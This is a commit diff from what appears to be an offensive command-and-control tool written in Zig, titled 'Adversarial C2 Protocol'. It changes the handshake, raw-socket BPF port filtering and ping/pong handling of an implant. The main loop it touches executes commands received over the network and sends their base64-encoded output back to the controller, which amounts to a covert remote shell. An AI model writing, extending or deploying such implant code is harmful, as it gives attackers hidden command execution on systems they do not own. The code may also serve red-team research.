Adversarial C2 Protocol Implemented in Zig

Update to Saprus 0.2.1

Handle management messages instead of letting them bubble up through the
connection to the consumer.
Right now, this just means handling ping messages by sending a pong.

Also updated to follow the new handshake flow.
The sentinel will mirror the ports instead of matching them.

Now filters on the full source and dest ports, which are less likely to
have erroneous matches.

+100 -27
+14 -3
src/Client.zig
··· 100 100 var connection: SaprusMessage = .{ 101 101 .connection = .{ 102 102 .src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), 103 - .dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), 103 + .dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), // Ignored, but good noise 104 104 .seq = undefined, 105 105 .id = undefined, 106 106 .payload = payload, ··· 108 108 }; 109 109 110 110 log.debug("Setting bpf filter to port {}", .{connection.connection.src}); 111 - self.socket.attachSaprusPortFilter(connection.connection.src) catch |err| { 111 + self.socket.attachSaprusPortFilter(null, connection.connection.src) catch |err| { 112 112 log.err("Failed to set port filter: {t}", .{err}); 113 113 return err; 114 114 }; ··· 131 131 132 132 log.debug("Awaiting handshake response", .{}); 133 133 // Ignore response from sentinel, just accept that we got one. 134 - _ = try self.socket.receive(&res_buf); 134 + const full_handshake_res = try self.socket.receive(&res_buf); 135 + const handshake_res = saprusParse(full_handshake_res[42..]) catch |err| { 136 + log.err("Parse error: {t}", .{err}); 137 + return err; 138 + }; 139 + self.socket.attachSaprusPortFilter(handshake_res.connection.src, handshake_res.connection.dest) catch |err| { 140 + log.err("Failed to set port filter: {t}", .{err}); 141 + return err; 142 + }; 143 + connection.connection.dest = handshake_res.connection.src; 144 + connection_bytes = connection.toBytes(&connection_buf); 135 145 136 146 headers.udp.dst_port = udp_dest_port; 137 147 headers.ip.id = rand.int(u16); ··· 153 163 const RawSocket = @import("./RawSocket.zig"); 154 164 155 165 const SaprusMessage = @import("message.zig").Message; 166 + const saprusParse = @import("message.zig").parse; 156 167 const SaprusConnection = @import("Connection.zig"); 157 168 const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp; 158 169
+35 -10
src/Connection.zig
··· 28 28 }; 29 29 } 30 30 31 - pub fn next(self: Connection, io: Io, buf: []u8) ![]const u8 { 32 - _ = io; 33 - log.debug("Awaiting connection message", .{}); 34 - const res = try self.socket.receive(buf); 35 - log.debug("Received {} byte connection message", .{res.len}); 36 - const msg: SaprusMessage = try .parse(res[42..]); 37 - const connection_res = msg.connection; 31 + // 'p' as base64 32 + const pong = "cA=="; 38 33 39 - log.debug("Payload was {s}", .{connection_res.payload}); 34 + pub fn next(self: *Connection, io: Io, buf: []u8) ![]const u8 { 35 + while (true) { 36 + log.debug("Awaiting connection message", .{}); 37 + const res = try self.socket.receive(buf); 38 + log.debug("Received {} byte connection message", .{res.len}); 39 + const msg = SaprusMessage.parse(res[42..]) catch |err| { 40 + log.err("Failed to parse next message: {t}\n{x}\n{x}", .{ err, res[0..], res[42..] }); 41 + return err; 42 + }; 40 43 41 - return connection_res.payload; 44 + switch (msg) { 45 + .connection => |con_res| { 46 + if (try con_res.management()) |mgt| { 47 + log.debug("Received management message {t}", .{mgt}); 48 + switch (mgt) { 49 + .ping => { 50 + log.debug("Sending pong", .{}); 51 + try self.send(io, .{ .management = true }, pong); 52 + log.debug("Sent pong message", .{}); 53 + }, 54 + else => |m| log.debug("Received management message that I don't know how to handle: {t}", .{m}), 55 + } 56 + } else { 57 + log.debug("Payload was {s}", .{con_res.payload}); 58 + return con_res.payload; 59 + } 60 + }, 61 + else => |m| { 62 + std.debug.panic("Expected connection message, instead got {x}. This means there is an error with the BPF.", .{@intFromEnum(m)}); 63 + }, 64 + } 65 + } 42 66 } 43 67 44 - pub fn send(self: *Connection, io: Io, buf: []const u8) !void { 68 + pub fn send(self: *Connection, io: Io, options: SaprusMessage.Connection.Options, buf: []const u8) !void { 45 69 const io_source: std.Random.IoSource = .{ .io = io }; 46 70 const rand = io_source.interface(); 47 71 48 72 log.debug("Sending connection message", .{}); 49 73 74 + self.connection.connection.options = options; 50 75 self.connection.connection.payload = buf; 51 76 var connection_bytes_buf: [2048]u8 = undefined; 52 77 const connection_bytes = self.connection.toBytes(&connection_bytes_buf);
+20 -5
src/RawSocket.zig
··· 133 133 return buf[0..len]; 134 134 } 135 135 136 - pub fn attachSaprusPortFilter(self: RawSocket, port: u16) !void { 136 + pub fn attachSaprusPortFilter(self: RawSocket, incoming_src_port: ?u16, incoming_dest_port: u16) !void { 137 137 const BPF = std.os.linux.BPF; 138 138 // BPF instruction structure for classic BPF 139 139 const SockFilter = extern struct { ··· 149 149 }; 150 150 151 151 // Build the filter program 152 - const filter = [_]SockFilter{ 152 + const filter = if (incoming_src_port) |inc_src| &[_]SockFilter{ 153 153 // Load 2 bytes at offset 46 (absolute) 154 154 .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 46 }, 155 + // Jump if equal to port (skip 1 if true, skip 0 if false) 156 + .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 1, .jf = 0, .k = @as(u32, inc_src) }, 157 + // Return 0x0 (fail) 158 + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 }, 159 + // Load 2 bytes at offset 48 (absolute) 160 + .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 48 }, 155 161 // Jump if equal to port (skip 0 if true, skip 1 if false) 156 - .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, port) }, 162 + .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, incoming_dest_port) }, 163 + // Return 0xffff (pass) 164 + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff }, 165 + // Return 0x0 (fail) 166 + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 }, 167 + } else &[_]SockFilter{ 168 + // Load 2 bytes at offset 48 (absolute) 169 + .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 48 }, 170 + // Jump if equal to port (skip 0 if true, skip 1 if false) 171 + .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, incoming_dest_port) }, 157 172 // Return 0xffff (pass) 158 173 .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff }, 159 174 // Return 0x0 (fail) ··· 161 176 }; 162 177 163 178 const fprog = SockFprog{ 164 - .len = filter.len, 165 - .filter = &filter, 179 + .len = @intCast(filter.len), 180 + .filter = filter.ptr, 166 181 }; 167 182 168 183 // Attach filter to socket using setsockopt
+1 -1
src/c_api.zig
··· 99 99 const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection)); 100 100 const zc = c orelse return 1; 101 101 102 - zc.send(io, payload[0..payload_len]) catch return 1; 102 + zc.send(io, .{}, payload[0..payload_len]) catch return 1; 103 103 return 0; 104 104 }
+3 -2
src/main.zig
··· 191 191 error.SymLinkLoop, 192 192 error.SystemResources, 193 193 => blk: { 194 + log.debug("Trying to execute command directly: {s}", .{connection_payload}); 194 195 var argv_buf: [128][]const u8 = undefined; 195 196 var argv: ArrayList([]const u8) = .initBuffer(&argv_buf); 196 197 var payload_iter = std.mem.splitAny(u8, connection_payload, " \t\n"); ··· 229 230 error.EndOfStream => { 230 231 cmd_output.print("{b64}", .{child_output_reader.interface.buffered()}) catch unreachable; 231 232 if (cmd_output.end > 0) { 232 - connection.send(init.io, cmd_output.buffered()) catch |e| { 233 + connection.send(init.io, .{}, cmd_output.buffered()) catch |e| { 233 234 log.debug("Failed to send connection chunk: {t}", .{e}); 234 235 continue :next_message; 235 236 }; ··· 238 239 }, 239 240 }; 240 241 cmd_output.print("{b64}", .{try child_output_reader.interface.takeArray(child_output_buf.len)}) catch unreachable; 241 - connection.send(init.io, cmd_output.buffered()) catch |err| { 242 + connection.send(init.io, .{}, cmd_output.buffered()) catch |err| { 242 243 log.debug("Failed to send connection chunk: {t}", .{err}); 243 244 continue :next_message; 244 245 };
+27 -5
src/message.zig
··· 169 169 seq: u32, 170 170 id: u32, 171 171 reserved: u8 = undefined, 172 - options: Options = undefined, 172 + options: Options = .{}, 173 173 payload: []const u8, 174 174 175 - /// Reserved option values. 176 - /// Currently unused. 175 + /// Option values. 176 + /// Currently used! 177 177 pub const Options = packed struct(u8) { 178 178 opt1: bool = false, 179 179 opt2: bool = false, ··· 182 182 opt5: bool = false, 183 183 opt6: bool = false, 184 184 opt7: bool = false, 185 - opt8: bool = false, 185 + management: bool = false, 186 186 }; 187 187 188 188 /// Asserts that buf is large enough to fit the connection message. ··· 199 199 out.writeAll(self.payload) catch unreachable; 200 200 return out.buffered(); 201 201 } 202 + 203 + /// If the current message is a management message, return what kind. 204 + /// Else return null. 205 + pub fn management(self: Connection) MessageParseError!?Management { 206 + const b64_dec = std.base64.standard.Decoder; 207 + if (self.options.management) { 208 + var buf: [1]u8 = undefined; 209 + _ = b64_dec.decode(&buf, self.payload) catch return error.InvalidMessage; 210 + 211 + return switch (buf[0]) { 212 + 'P' => .ping, 213 + 'p' => .pong, 214 + else => error.UnknownSaprusType, 215 + }; 216 + } 217 + return null; 218 + } 219 + 220 + pub const Management = enum { 221 + ping, 222 + pong, 223 + }; 202 224 }; 203 225 204 226 test "Round trip" { ··· 223 245 const Reader = std.Io.Reader; 224 246 225 247 test { 226 - std.testing.refAllDeclsRecursive(@This()); 248 + std.testing.refAllDecls(@This()); 227 249 }
-1
src/root.zig
··· 19 19 20 20 const msg = @import("message.zig"); 21 21 22 - pub const PacketType = msg.PacketType; 23 22 pub const MessageTypeError = msg.MessageTypeError; 24 23 pub const MessageParseError = msg.MessageParseError; 25 24 pub const Message = msg.Message;